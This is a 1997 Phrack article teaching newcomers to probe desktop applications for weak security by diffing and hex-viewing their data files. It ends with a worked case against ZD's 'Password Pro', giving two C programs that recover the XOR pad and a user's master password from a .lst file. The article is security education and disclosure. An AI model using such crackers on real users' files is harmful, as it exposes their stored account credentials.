.oO Phrack 50 Oo.
Volume Seven, Issue Fifty
12 of 16
PC Application Level Security
by
Sideshow Bob
I. Introduction
In the past, hackers interested in security have focused most of their
efforts in finding and exploiting security holes in networking related
operating systems, protocols, and applications. I would like to suggest
another arena of hacking that might be of interest to emerging hackers.
Although the Internet is certainly a great place to hack, you can also
find a world of hacking sitting right on the computer at your desk. This
article is really aimed at a broad and young audience, for cryptographers
of tomorrow, not today.
The fundamental problem with the lack of security in applications today
is that people just don't care. Companies that produce security software
do care about security, but most software available today has some
component of security in them, written by programmers who do not
understand or care about security. When a consumer uses a piece of
software that has advertised security features, they do not have the
knowledge or power to determine if the security in that software is
effective, or waiting to be exploited. There are literally thousands of
applications out there for PCs right now, and many of them have security
problems just waiting to be discovered.
In this article, I hope to provide interested new hackers the motivation
and knowledge to go out and explore PC applications they have access to in
order to determine if they have security problems. Giving out exploits is
definitely NOT the goal of this article, I decided to provide one example
to show the process at work, but I leave it up to the readers to go out and
hack for themselves.
If you find security holes of your own in PC applications, I strongly
encourage you to inform the companies involved, and post your findings in
an appropriate public forum. If you learn from this article, helping the
security community by letting other people know about security problems in
PC software is the greatest compliment you could give me.
II. Finding an Candidate
Just exactly what I am talking about when I say PC application security?
First off, I am talking about mass consumer operating systems. Unix and
NT are being examined by many security people today in great depth for
security holes, and there is definitely a good reason for that, but this
article is focused on the computers sitting at most people's desks.
Windows and Mac-OS are both widely used legitimate operating systems.
Some security people might tell you if you care about security, don't
run Windows '95. That is an easy answer, it is far easier to build secure
applications on top of more secure operating systems. But that does not
address the realistic security threats that exist on these operating
systems. The fact is, nobody is going to ruin your life, steal your
money, or cause millions in harm solely because of a vulnerability in one
of these programs. But as a consumer, you should expect and DEMAND that
when someone tells you their program is secure that they aren't flat out
lying to your face. When someone tells you your personal information you
enter into a program is protected by a password, you should DEMAND that
without that password, your data is protected from your family, your
friends, and even a friendly visit from your local law enforcement agency.
What programs should you look for with security holes? Quite simply,
anything that claims to have any security in it. The most obvious tip-off
is anything with passwords. In addition, anything that has users,
restricts access, or claims to protect your data. Encryption and
authentication are big buzzwords that someone is messing with security.
Look on your hard drive, look in computer stores, look on the Internet for
shareware and freeware (if its free, its ok if it lies about what it does?
I don't think so.). Not every program has any element of security in it,
but lots do. Not every program you find will have security holes, but if
you spend enough time and look at enough programs, you are going to find a
lot that do. I would especially encourage you to not limit yourself to
high-profile, popular applications. Certainly those are viable
candidates, but there are a lot more choices than that. If you have found
an application, now you are ready to hack!
III. Finding Vulnerabilities
A. Application Purpose
You have found a candidate application, and now you want to find out if
it is insecure. The first thing you want to do is to learn how the
program works. The worst of the worst applications will allow you to
subvert security directly from within the application. An example of this
was the first version of Microsoft "Bob". After incorrectly entering your
password too many times, Bob would wisely figure out that you forgot your
password and ask you if you wanted to change it.
Determine what the goal of the security in the application is.
Generally this will be to protect sensitive information in the program.
For the candidate application, determine what information is being
protected. It might only be a small sub-set of the data, or perhaps all
of it. Often the product won't tell you what it is trying to protect, so
you will need to do some digging inside the program to discover it. Some
programs might let anyone read data, but only authorized users modify it.
Other programs might let anyone enter in new data, but only authorized
users read what has been entered. Another program might let anyone read
and enter in new data, but only let authorized users delete individual
entries (in an insecure OS, anyone could delete the entire database, but
that does not imply one could selectively remove information from a
database).
B. User Interaction
Next, figure out all the different elements of the program that allow
the user to interact with the security module of the program. Where does
it ask for usernames? Where does it ask for passwords? Can I change a
password? Can I remove a password? Can I password protect different
parts of a file? Do I have any options as to what kind of security is
employed? Can I disable security altogether? Do I protect a file, a
database, a user? This is the typical user level interaction with the
program. I would not even attempt to start digging at a lower level of
the program until you are an expert on how the program functions at the
user interface level.
C. Digging Deeper
Now that you have comprehensively examined and understand the program at
the normal user level, you are ready to start hacking, and that means
figure out how the program works. Now, if you are extremely fortunate,
you may have source code to the program and will be able to simply read
that source and fully understand how it works. Another method for
figuring out how the program works is to disassemble the program and read
through the assembly code of the program as it executes. This is a
reasonable method and sometimes the best, but it requires a thorough
understanding of assembly language and in order to make this article
accessible to anyone interested, I am going to ignore that possibility.
If you are interested in doing so, I suggest picking up a good book on
assembly and a high quality debugging tool.
If you have the most typical application of security in your
application, the security is meant to protect some sensitive information.
Somewhere on your hard drive, in some form, is that sensitive information:
Find It! Usually this isn't hard, you install the application somewhere
and if it is well behaved it doesn't put the data in some random location
on your hard drive (but be forewarned, some do exactly to confuse you at
this step). Start out with a fresh installation of the software on your
drive, and then enter some data into the application, and see what
changed. Now you should know what file(s) data gets written out to.
D. File Modifications
Look at the directory listings, sometimes the filename itself is a clue.
Save directory listings out to a file, and then make some modification in
the program (and save), and make another directory listing. For each
listing, write down what you did between that and the last listing. Now
you have a bunch of directory listings, which may or may not help you.
You need to try and interpret this data to tell if there is anything you
can learn about how the program works. In the worst case (for you),
absolutely nothing will change. Usually at least timestamps on the files
will change, telling you what files were written to.
Does every user or database you enter get written to a new file which is
the name of the user, or does it all get written to one file? Does each
new entry create a new file? Does one file get bigger by a fixed amount
of size for each entry you add? Is each file created the same size? Do
you recognize the extension of the file?
E. File Contents
If you have made any progress at all by this point, you should be able
to narrow down what file or files you need to examine in more depth. The
best thing to do is to just look at the files. There are two things you
need at this point: a good hex viewer and a good diff utility. The hex
viewer should let you know look at both the ASCII text and binary contents
of the file; for DOS something like the shareware List utility is good. A
diff utility will take 2 or more files as input and tell you what has
changed between them. This will automate telling you what has changed in
the files when you make a change in the data.
Quite simply, use these two utilities. Take a look inside the files
that you KNOW have to contain the sensitive data. Now if a program is
meant to protect you from reading the data and your hex viewer is sitting
there and you see it all in front of your face, you have found a problem.
If you change an 'a' to a 'b' in the application and one byte of data is
incremented one byte in the file, you are getting closer. In many cases,
you will need to enter in a lot of data into the application and compare
numerous resulting files in order to figure out exactly what and where
things change.
If data is being protected, the worst case (for you) is that it is
actually being encrypted with a known secure algorithm. Does that mean it
is secure? No, through thorough cryptanalysis, serious computing power,
or implementation flaws, one might still be able to read the data. But
this sort of analysis is left to professionals in that field, and not the
target of this article. For you, you may have to find alternative methods
to gain access which are probably far easier to begin with. This might
mean keystroke logging, social engineering, or simply trying to brute
force attack the situation.
A more common situation is that some, but not all of the data is being
encrypted. You will very likely be able to extract sensitive information
that the users of the program thinks is sensitive and should be secure,
but the application programmer's decided was not part of the sensitive
date. Not clearly communicating what is being protected and what isn't
should be an indication that everything is being protected, but that is
very often not the case at all.
Another common situation is that the data is being poorly encrypted.
This is usually the case if you can't read the data in text in the files,
but you are able to pick up clear patterns of what is being changed. Good
encryption should make data that looks 'random', if what you are looking
at looks decidedly not random, there is a problem.
IV. Exploiting Vulnerabilities
I will finish up this article with an example of how to work through this
process from finding a program to exploiting the vulnerability. Ziff-Davis
Interactive has been advertising and offering a free Windows utility known
as "Password Pro" for the sole purpose of letting Windows users maintain
passwords in a central database securely. On the Internet today, people
(not to mention hackers) have accounts on numerous machines and managing the
passwords for all of these systems is not a trivial task. With the increasing
popularity of requiring registration to gain access to all the features of a
web site, users are accumulating more and more accounts than ever before.
In the past, users have taken on several solutions to this problem. Some
people use the same account name and password everywhere they go. Obviously
this presents a major security problem, as there is no way to guarantee the
security of any one of the accounts that they use, much less all of them. If
their password is compromised, it is an even more daunting task to change the
password on every site that is being used. Still, this requires a user
maintain a list of systems they have accounts on, and with more people using
the net everyday, it is inevitable that some people will attempt to use the
same account name.
Another possible solution people have used is to maintain a cleartext file
on their system, or a physical notebook that has a list of usernames and
passwords. Using paper and pen certainly will eliminate hackers over the
Internet from gaining access, but if you have ever seen War Games you know
that crackers are not above physically snooping around your home or office
in order to find out passwords. Leaving a plaintext file on your system is
an even worse solution. If you are running an insecure operating system
such as DOS or Windows '95, anyone that can sit down at your computer will
be able to read it. Even with Windows NT or a Unix operating system, you do
not want anyone that can gain administrator/root access to the machine to
immediately gain access to every machine on the Internet that you have an
account on.
While there is no perfect solution preventing someone with root access to
the box you are using from snooping your keystrokes or sniffing your sessions,
it is certainly more work to do so than to simply read a cleartext file. So,
it is clear that for many users on the Internet today, there is a definite
use for the type of utility that ZD Net is providing. Further, as will be
explained in this article, there are definitely fairly secure methods of
writing and using such a database. It is unfortunate that Ziff-Davis has
implemented this tool in such a manner as to actually make it easier for
people to obtain users' account names and passwords. The author of this
utility was informed through appropriate channels of this vulnerability
in his software and as of the release of this article, an upgraded version
with a well known encryption algorithm should be available.
All of my work with regards to Password Pro was done by modifying accounts
and entries through the normal operation of the program, and then viewing the
changes that were made to the corresponding .lst files. At no point did I
attempt to disassemble the Password Pro code, although that would have
resulted in the same ultimate findings.
For each user on a machine that wishes to use Password Pro, a file is
created in the Password Pro directory with a filename of <username>.lst. When
you first start-up Password Pro, it prompts you for a username and password.
When you enter a filename, it looks for a file with the .lst extension matching
that username. If it finds the file, it then reads the password that you are
prompted for, and attempts to validate the password with the one stored in the
file. If the file does not exist, the user is asked if he wants to create a
new account; if so he can then enter and confirm a password and a file is
created.
The file format of the user .lst files is proprietary. When the file is
first created, it is 32 bytes in length. Users can then add entries to the
file which contain a system name, account name, password, and password
expiration. Adding a single entry to a new .lst file increases the file size
to 166 bytes.
Viewing the file showed that the Password Pro password did not show up
in plaintext anywhere in the file, nor did any of the passwords for the
systems that users had entered. System names and account names were however
in plaintext; my first disappointment in examining the security of the program.
My first thoughts with regards to the file format was simply that the
password was stored in the first 32 bytes of the file, and the entries were
stored in fixed length structures beyond that. If each entry's password was
actually encrypted with the password that was entered by the user, there would
be no way to directly view the contents of the file. At this point in time,
I had no idea if this was the case or not, but if it proved to be true, there
would still be other options available in attempting to read the entries, such
as a dictionary attack.
To test my first theory, I created a user, blue, that I would attempt to
break the security on. I used the password "password", obviously a poor
choice for a real application but since I was not going to mount a dictionary
attack at this point, it was irrelevant. I added an entry for this user for
a fictitious system, account name, and password. I then created a user,
hacker, with no password on his account, and on database entries. On my
filesystem I then had a 166 byte blue.lst file and a 32 byte hacker.lst file.
In order to merge the two files into one, I used the commands:
C:\PASSWORD> tail --bytes=134 blue.lst > blue.end
C:\PASSWORD> copy /b hacker.lst+blue.end > hacked.lst
I then loaded up Password Pro and attempted the username 'hacked'. It
prompted for a password and when I attempted none, it prompted me again. It
was clear that cracking this program was not going to be quite that trivial.
It was clear that all of the information necessary to attack the password
was being stored somewhere in those first 32 bytes. The easiest way to
scramble the password would be a bit-shift (rot-13) or to XOR the password
with a single character. If this was true, the password 'password' should
show the two consecutive 's' characters as being the same value. I looked
through the hex dump of the file to see if this appeared to be true, and
it wasn't.
The next complication in encryption is to XOR the files with a 'pad'. This
would mean that each letter in the password would be XOR-ed with a different
byte, up to the length of the pad, and then it would start over XORing with
the first letter of the pad, and so on. If this were the case, changing one
letter in my password would only change one byte in the file. I created a
password of 'pastword' and diffed the files; only 1 byte changed. This looked
promising, so it was time to extract the 'pad' from the file. For an eight
letter password, I need to find out what the 8 bytes being used to XOR the
file are. The way to do this is to simply take a file the program creates
with a known password, and XOR the file with the password, resulting in the
pad. This reverses what the program originally did, which was XOR the
password with the pad to create the file.
<++> pwp-pad.c
/* pwp-pad.c - ZD Password Pro for Windows Pad Reader (1/14/97)
*
* Syntax: pwp-pad filename.lst password
*
* Given a database file created by Password Pro and the password entered to
* protect the file, outputs the pad being used by Password Pro to encrypt
* files.
*
*/
#include <stdio.h>
main(int argc, char **argv) {
FILE *fpass;
char pbuf[32], inbuf[32];
char *password, *pptr;
int i;
/* check command line arguments */
if(argc < 3) {
fprintf(stderr, "Syntax: %s filename.lst password\n", argv[0]);
exit(1);
}
password = argv[2];
/* open the file */
fpass = fopen(argv[1],"r");
if(!fpass) {
fprintf(stderr, "Unable to open file %s\n", argv[1]);
exit(1);
}
/* read from file */
if(fread(pbuf, 1, 32, fpass) != 32) {
fprintf(stderr, "Unable to read password entry from file.\n");
exit(1);
}
/* output pad by xor file contents with password from command line */
printf("Pad: ");
for(i=0; i<32 && pbuf[i]; i++) {
pbuf[i] ^= password[i];
printf("%x ", 0xff & pbuf[i]);
}
printf("\n");
}
<-->
Now that we have the pad, the next step is to use that pad to actually
crack the contents of someone else's file. The way we do that is by taking
someone's lst file that we don't know the password for, and XORing the start
of the file with the pad. This will result in the password that they stored
the file with, which we can then enter into the program to view the contents.
<++>
/* pwp-crack.c - ZD Password Pro for Windows Cracker (1/14/97)
*
* Syntax: pwp-crack filename.lst
*
* Outputs the password entered by the user of Password Pro to protect others
* from reading the contents of their account and password database.
*
*/
#include <stdio.h>
main(int argc, char **argv) {
FILE *fin;
char inbuf[32];
char pad[] = { 0x38, 0x17, 0x2b, 0x8c, 0x59, 0xaf, 0xe6, 0x03, 0x61, 0x85 };
int i;
if(argc < 2) {
fprintf(stderr, "Syntax: %s filename.lst\n\n", argv[0]);
exit(1);
}
fin = fopen(argv[1],"r");
if(!fin) {
fprintf(stderr, "Unable to open %s for reading\n", argv[1]);
exit(1);
}
if(fread(inbuf, 1, 32, fin) != 32) {
fprintf(stderr, "Unable to read password from file.\n");
exit(1);
}
printf("Password: ");
for(i=0; i<32 && inbuf[i]; i++) {
inbuf[i] ^= pad[i % sizeof(pad)];
printf("%c", inbuf[i]);
}
printf("\n");
}
<-->
V. Conclusion
If you are interested in any of this, I strongly encourage you to go out
and find holes and write exploits on your own. I'm sure Phrack would love
to hear about any findings you make, so let us know how you are doing.
If you are a software developer and are interested in avoiding become a
victim of one of Phrack's budding hackers, or just want to learn more about
practical crytography, I suggest you pick up a copy of Bruce Schneier's
Applied Cryptography available at any big bookstore.
EOF